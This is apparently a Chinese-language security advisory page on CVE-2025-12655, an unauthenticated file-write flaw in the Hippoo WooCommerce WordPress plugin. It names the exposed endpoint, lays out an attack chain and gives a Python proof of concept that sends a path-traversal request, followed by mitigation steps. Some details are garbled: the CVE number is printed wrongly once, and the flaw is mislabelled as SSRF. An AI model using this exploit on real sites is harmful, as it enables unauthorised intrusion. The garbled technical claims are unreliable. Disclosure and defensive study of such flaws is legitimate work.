IPBUF安全漏洞报告
English
CVE-2025-12655 CVSS 5.3 中危

CVE-2025-12655 Hippoo WordPress插件任意文件写入漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-12655
漏洞类型
任意文件写入、授权缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hippoo Mobile App for WooCommerce plugin for WordPress

相关标签

WordPress插件漏洞任意文件写入授权缺失REST API漏洞Hippoo WooCommerceCVE-2025-12655无需认证路径遍历

漏洞概述

CVE-2025-2025-12655是WordPress平台上一个中等严重性的安全漏洞,影响Hippoo Mobile App for WooCommerce插件1.7.1及以下所有版本。该漏洞源于REST API端点的权限控制缺陷,攻击者可在无需任何认证的情况下向服务器写入任意JSON文件内容。由于写入路径位于公开可访问的上传目录,攻击者可利用此漏洞实现持久化控制,如植入恶意脚本或配置后门。此漏洞由Wordfence安全团队的安全研究员发现并报告,CVSS 3.1评分5.3,属于网络攻击向量、无需特殊权限即可利用的安全缺陷。虽然机密性和完整性影响均为低级别,但任意文件写入漏洞可能被链接其他漏洞以实现远程代码执行,对使用该插件的WordPress站点构成实质性威胁。

技术细节

漏洞根源在于Hippoo插件注册的REST API端点 `/wp-json/hippoo/v1/wc/token/save_callback/{token_id}` 配置了错误的权限回调函数。该端点使用 `permission_callback => '__return_true'`,这意味着所有请求都会被无条件允许通过权限检查,无论用户是否登录或具有管理员权限。攻击者可通过构造恶意POST请求,在请求体中包含任意JSON内容,并指定目标token_id参数。服务器端代码直接将用户提供的JSON数据写入公开访问的上传目录中的文件。由于写入位置在Web根目录的可访问路径,攻击者可创建.php文件或其他可执行脚本,后续通过HTTP请求触发执行。此漏洞利用门槛低,无需任何认证信息即可发起攻击,属于典型的服务端请求伪造(SSRF)与文件写入组合利用场景。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和Hippoo插件版本,确认版本<=1.7.1
STEP 2
步骤2: 端点识别
攻击者发现存在暴露的REST API端点 /wp-json/hippoo/v1/wc/token/save_callback/{token_id}
STEP 3
步骤3: 权限绕过
由于permission_callback配置为'__return_true',攻击者无需认证即可访问API端点
STEP 4
步骤4: 构造恶意请求
攻击者构造包含任意JSON内容的POST请求,使用路径遍历技术指定上传目录外的目标文件
STEP 5
步骤5: 文件写入
服务器直接将攻击者提供的JSON内容写入公开可访问的上传目录
STEP 6
步骤6: 恶意利用
如果写入的是.php文件或其他可执行脚本,攻击者可通过HTTP请求触发执行,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12655 PoC - Arbitrary File Write via Unauthenticated REST API # Affected: Hippoo Mobile App for WooCommerce plugin <= 1.7.1 target_url = "http://target-wordpress-site.com" endpoint = "/wp-json/hippoo/v1/wc/token/save_callback/" token_id = "../../../../uploads/malicious" # Malicious JSON content to write malicious_content = { "exploit": "arbitrary_file_write", "cve": "CVE-2025-12655", "type": "unauthorized_file_upload" } # Construct the full URL full_url = f"{target_url}{endpoint}{token_id}" # Send the exploit request headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 PoC-Generator" } response = requests.post(full_url, json=malicious_content, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check if file was written successfully if response.status_code == 200: print("[+] Exploit successful - File written to upload directory") else: print("[-] Exploit failed")

影响范围

Hippoo Mobile App for WooCommerce plugin <= 1.7.1

防御指南

临时缓解措施
在官方安全补丁发布前,可采取以下临时缓解措施:1) 临时禁用Hippoo插件;2) 使用Web应用防火墙(WAF)规则阻止对 /wp-json/hippoo/ 路径的未授权访问;3) 对上传目录设置严格的文件执行权限,禁止PHP等脚本执行;4) 限制非管理员用户对REST API端点的访问;5) 启用WordPress的REST API访问日志监控,及时发现异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表